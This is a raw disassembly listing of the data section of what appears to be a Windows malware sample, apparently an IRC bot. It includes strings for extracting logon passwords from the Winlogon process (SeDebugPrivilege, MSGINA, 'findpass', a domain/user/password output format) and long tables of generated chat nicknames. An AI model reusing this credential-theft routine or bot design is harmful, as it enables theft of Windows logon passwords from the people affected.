		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A54	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A6C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B30	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B7C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BCC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437C20	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		rol	byte ptr [edi-5397FFBDh], 1
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+eax*8-7833FFBEh], ch
		inc	ebx
		add	[eax+80042AAh],	ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+ebp*4-52FBFFBEh], al
		inc	edx
		add	[eax], dl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aD		; "d"
		dd offset dword_4387C8
		dd offset dword_4387C4
		dd offset dword_4387C0
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387BC
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_4387B0
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4387AC
		dd offset dword_4387A8
		dd offset dword_4387A4
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset word_438798
		dd offset dword_438794
		dd offset aI_0		; "I"
		dd offset dword_438790
		dd offset dword_43878C
		dd offset aA_0		; "A"
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset dword_438768
		dd offset dword_438764
		dd offset dword_438760
		dd offset dword_43875C
		dd offset dword_438758
		dd offset word_438754
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384EC
		dd offset off_4384E8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438354
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437F20	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
; ---------------------------------------------------------------------------
		aam	81h
		inc	ebx
		add	ah, cl
		add	dword ptr [ebx+0], offset aSick	; "sick}}"
		rol	byte ptr [ecx-7E47FFBDh], 43h
		add	[eax+2C004387h], dh
		lodsb
		inc	edx
		add	[edi+eax*8], dh
		inc	edx
		add	[eax-54h], ch
		inc	edx
		add	al, cl
		xchg	eax, [ebx+0]
		les	eax, [edi-783FFFBDh]
		inc	ebx
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset dword_42B52C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387BC
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
; ---------------------------------------------------------------------------
		lodsb
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_4387D0
		dd offset dword_4387B4
		dd offset dword_4387CC
		dd offset dword_4387B8
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4387B8
		dd offset dword_4387C4
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438170
		dd offset aBbl		; "|bbl"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset a___0		; "_|_"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438780
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4387B0
		dd offset dword_43D158
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438764
		dd offset dword_43D158
		dd offset off_438130
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380F0
		dd offset dword_4380EC
		dd offset dword_4380E4
		dd offset dword_4380D8
		dd offset dword_4380D0
		dd offset dword_4380C8
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B8
dword_4380B8	dd 7536h		; DATA XREF: ___:004380B4o
dword_4380BC	dd 7535h		; DATA XREF: ___:004380B0o
dword_4380C0	dd 7C75347Ch, 0		; DATA XREF: ___:004380ACo
dword_4380C8	dd 6F79347Bh, 7D75h	; DATA XREF: ___:004380A8o
dword_4380D0	dd 7375347Ch, 7Ch	; DATA XREF: ___:004380A4o
dword_4380D8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A0o
dword_4380E4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043809Co
dword_4380EC	dd 6C6F6Ch		; DATA XREF: ___:00438098o
dword_4380F0	dd 746F74h		; DATA XREF: ___:00438094o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438090o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043808Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438088o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438084o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438080o
aShit		db 'shit',0             ; DATA XREF: ___:0043807Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438078o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438074o
		align 10h
off_438130	dd offset word_594F42	; DATA XREF: ___:00438070o
aFree		db 'Free',0             ; DATA XREF: ___:0043805Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438058o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043804Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438040o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043803Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438038o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:0043801Co
aBbl		db '|bbl',0             ; DATA XREF: ___:00438010o
		align 10h
off_438170	dd offset loc_425242	; DATA XREF: ___:0043800Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00437FF8o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00437FF4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00437FF0o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FECo
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00437FE8o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FE4o
aRt		db 'rt',0               ; DATA XREF: ___:00437FE0o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:00437FDCo
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00437FD8o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00437FD4o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00437FD0o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437FB0o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F5Do
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F54o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F50o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F4Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F48o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F44o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F40o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F3Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F38o
aLag		db 'lag',0              ; DATA XREF: ___:00437F34o
aBad		db 'bad',0              ; DATA XREF: ___:00437F30o
aTree		db 'tree',0             ; DATA XREF: ___:00437F2Co
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437F28o
aLez		db 'lez',0              ; DATA XREF: ___:00437F24o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437F20o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437F1Co
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437F18o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437F14o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437F10o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437F0Co
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437F08o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437F04o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437F00o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437EFCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EF8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EF4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EF0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EECo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EE8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EE4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EE0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EDCo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437ED8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437ED4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437ED0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437ECCo
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437EC8o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437EC4o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437EC0o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437EBCo
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437EB8o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437EB4o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437EB0o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437EACo
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437EA8o
		align 4
off_438354	dd offset byte_4B5245	; DATA XREF: ___:00437EA4o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437EA0o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E9Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E98o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E94o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E90o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E8Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E88o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E84o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E80o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E7Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E78o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E74o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E70o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E6Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E68o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E64o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E60o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E5Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E58o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E54o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E50o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E4Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E48o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E44o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E40o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E3Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E38o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E34o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E30o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E2Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E28o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437E24o
aArda		db 'arda',0             ; DATA XREF: ___:00437E20o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437E1Co
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437E18o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437E14o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437E10o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437E0Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437E08o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437E04o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437E00o
		align 4
off_4384E8	dd offset byte_457441	; DATA XREF: ___:00437DFCo
dword_4384EC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DF8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DF4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DF0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DECo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DE8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DE4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DE0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DDCo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DD8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DD4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DD0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DCCo
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DC8o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437DC4o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437DC0o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437DBCo
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437DB8o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437DB4o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437DB0o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437DACo
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437DA8o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437DA4o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437DA0o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D9Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D98o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D94o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D90o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D8Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D88o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D84o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D80o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D7Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D78o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D74o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D70o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D6Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D68o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D64o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D60o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D5Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D58o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D54o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D50o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D4Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D48o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D44o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D40o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D3Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D38o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D34o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D30o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D2Co
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D28o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437D24o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437D20o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437D1Co
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437D18o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437D14o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437D10o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437D0Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437D08o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437D04o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437D00o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CFCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CF8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CF4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CF0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CECo
		align 10h
aM_0:					; DATA XREF: ___:00437CE8o
					; ___:00438034o
		unicode	0, <M>,0
word_438754	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CE4o
		align 4
dword_438758	dd 42h			; DATA XREF: ___:00437CE0o
dword_43875C	dd 56h			; DATA XREF: ___:00437CDCo
dword_438760	dd 43h			; DATA XREF: ___:00437CD8o
dword_438764	dd 58h			; DATA XREF: ___:00437CD4o
					; ___:00438068o
dword_438768	dd 5Ah			; DATA XREF: ___:00437CD0o
dword_43876C	dd 4Ch			; DATA XREF: ___:00437CCCo
dword_438770	dd 4Bh			; DATA XREF: ___:00437CC8o
dword_438774	dd 4Ah			; DATA XREF: ___:00437CC4o
dword_438778	dd 48h			; DATA XREF: ___:00437CC0o
dword_43877C	dd 47h			; DATA XREF: ___:00437CBCo
dword_438780	dd 46h			; DATA XREF: ___:00437CB8o
					; ___:00438030o
dword_438784	dd 44h			; DATA XREF: ___:00437CB4o
dword_438788	dd 53h			; DATA XREF: ___:00437CB0o
dword_43878C	dd 50h			; DATA XREF: ___:00437CA8o
dword_438790	dd 4Fh			; DATA XREF: ___:00437CA4o
dword_438794	dd 55h			; DATA XREF: ___:00437C9Co
word_438798	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C98o
		align 4
dword_43879C	dd 54h			; DATA XREF: ___:00437C94o
dword_4387A0	dd 52h			; DATA XREF: ___:00437C90o
dword_4387A4	dd 45h			; DATA XREF: ___:00437C8Co
dword_4387A8	dd 57h			; DATA XREF: ___:00437C88o
dword_4387AC	dd 51h			; DATA XREF: ___:00437C84o
